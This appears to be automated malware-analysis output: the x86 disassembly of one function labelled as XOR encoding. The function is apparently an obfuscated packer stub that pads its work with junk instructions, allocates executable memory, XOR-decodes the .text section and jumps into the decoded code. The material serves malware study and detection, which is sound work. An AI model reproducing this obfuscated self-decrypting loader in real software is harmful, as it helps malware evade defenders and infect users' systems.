Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x6b62ce27
add edi, 0x7d5e6d86
or eax, eax
and edi, eax
popal
add eax, 0x98f747d9
mov edi, eax
inc edi
mov esi, 0
mov ecx, ebx
add edx, 0x7d81c5ff
add eax, eax
mov edi, ecx
mov eax, 0xdf3646c0
add eax, 0xd5f8bbba
mov ebx, edi
and edx, edx
or edx, edx
inc esi
or edx, eax
dec eax
and eax, eax
cmp esi, 0x100ca9e
jne 0xa789cb
or eax, edx
inc eax
and eax, eax
add edi, edi
mov eax, 0xa78796
dec edi
sub ebx, 0xc37c23cd
sub esi, edi
mov edx, 0xa7898a
add ebx, edi
dec esi
and ebx, esi
mov ecx, dword [eax]
or edi, ebx
and edi, esi
and ecx, 0xff
add edi, esi
mov ebx, 0xe866016c
mov edi, esi
xor dword [edx], ecx
sub edi, ebx
not ebx
inc edx
sub esi, ebx
add esi, ebx
add edi, 0xa607380
inc eax
mov ebx, esi
inc edi
sub edi, ebx
cmp edx, entry0
jl 0xa78a19
add edi, 1
add edi, 0xa6c191fb
not ebx
dec ebx
add edi, 0x1a5bdf37
add esi, edi
mov ebx, 0xa7898e
add esi, esi
dec edi
and edx, ecx
mov ebx, dword [ebx]
mov ecx, 0x3747c6f0
add ecx, 0xf894cd12
sub ecx, esi
mov ebx, dword [ebx]
not esi
sub edi, 1
sub edx, ecx
push ebx
add edx, 0xcd4af279
or ecx, esi
mov ebx, 0xa7898a
and esi, esi
not esi
add esi, edx
mov ebx, dword [ebx]
dec ecx
mov edi, ecx
mov edx, ecx
mov ebx, dword [ebx]
add edx, ecx
add edi, esi
and edi, edx
push 0xa78992
mov edi, ecx
and edi, edx
mov ecx, 0xaa688fc4
call ebx
add edx, 0x3ea8bf04
inc esi
mov edi, 0xfd31edb2
pop ebx
sub edi, 0xa358c7db
add edi, 0x8def15bd
sub ecx, 0x768e54b9
push 0xa7899f
add esi, esi
mov edx, esi
sub edi, 0xbb141a71
push eax
sub ecx, 0x413d8ad5
mov edi, edx
call ebx
dec edx
mov esi, 0xec45286
push 0x40
mov esi, edx
or edi, edx
mov esi, 0x6b4af7b8
push 0x3000
not edi
sub esi, 0x8d038c0
push 0x2000010c
sub edx, 0x1b77a6ac
sub ecx, 0x368ea609
sub ecx, edx
sub esp, 4
mov dword [esp], 0
and esi, esi
or ecx, esi
call eax
sub ecx, edi
dec ecx
add eax, 0x2000005f
and edi, edx
add esi, 1
sub esi, edi
mov ebx, 0x62822bc6
add edx, edx
mov edx, ecx
mov ecx, 0xf9c9324b
mov dword [eax], ebx
sub edx, 0xbf12640e
add ecx, ecx
sub esi, 1
mov ebx, dword [eax]
or edi, edi
mov edi, 0xcc6243f7
cmp ebx, 0x62822bc6
je 0xa78b86
mov ebx, 0
mov ecx, dword [ebx]
inc esi
mov ecx, 0xea4bd26e
add edi, 0x7633bd15
sub edi, 1
mov edi, esi
inc eax
sub eax, 0x234541df
mov esi, section..text
not edi
sub edi, 0xa499320e
mov ebx, 0xa78795
mov eax, edi
mov eax, 0x8d8ef0b5
mov eax, edi
mov ecx, 0
sub edi, 0xdc9dbb57
dec edi
mov edx, 0xa78796
and edi, edi
add eax, edi
lea edx, [ecx + edx]
sub eax, edi
sub eax, 0xa6ce6b7f
mov edx, dword [edx]
dec edi
inc eax
and edx, 0xff
mov eax, edi
sub edi, 0xe59b3d73
inc ecx
inc eax
and edi, eax
mov edi, eax
cmp ecx, 0x1f4
jne 0xa78c01
mov ecx, 0
add eax, 0x5a50c23f
mov eax, edi
mov eax, edi
inc eax
xor dword [esi], edx
mov edi, 0x3b937279
inc edi
add edi, edi
add esi, 2
mov edi, 0x6faf1e24
or eax, eax
mov edi, 0x7cc133ae
cmp esi, ebx
jl 0xa78bc8
mov eax, edi
and eax, edi
dec eax
and edi, edi
mov edi, eax
mov ecx, section..text
mov ebx, 0x7e9f509f
mov ebx, 0x423b1f35
sub ebx, esi
mov edx, section..text
inc ebx
not esi
sub esi, ebx
mov edi, 0xa78795
inc esi
add ebx, 0xcd8710d7
mov ebx, esi
mov eax, 0
and ebx, ebx
add ebx, esi
mov al, byte [edx]
and esi, esi
sub ebx, esi
mov byte [ecx], al
add esi, 0xccc10998
add ebx, esi
inc ecx
add esi, 0x8c5257b8
inc esi
add edx, 2
sub esi, 0x16920cd3
add esi, 0x57966788
cmp edx, edi
jle 0xa78c6b
or ebx, ebx
mov esi, ebx
add eax, eax
mov edi, 0xc2b43fa1
add edi, edi
push 0x8dc6a0
not eax
inc edi
or edi, edi
ret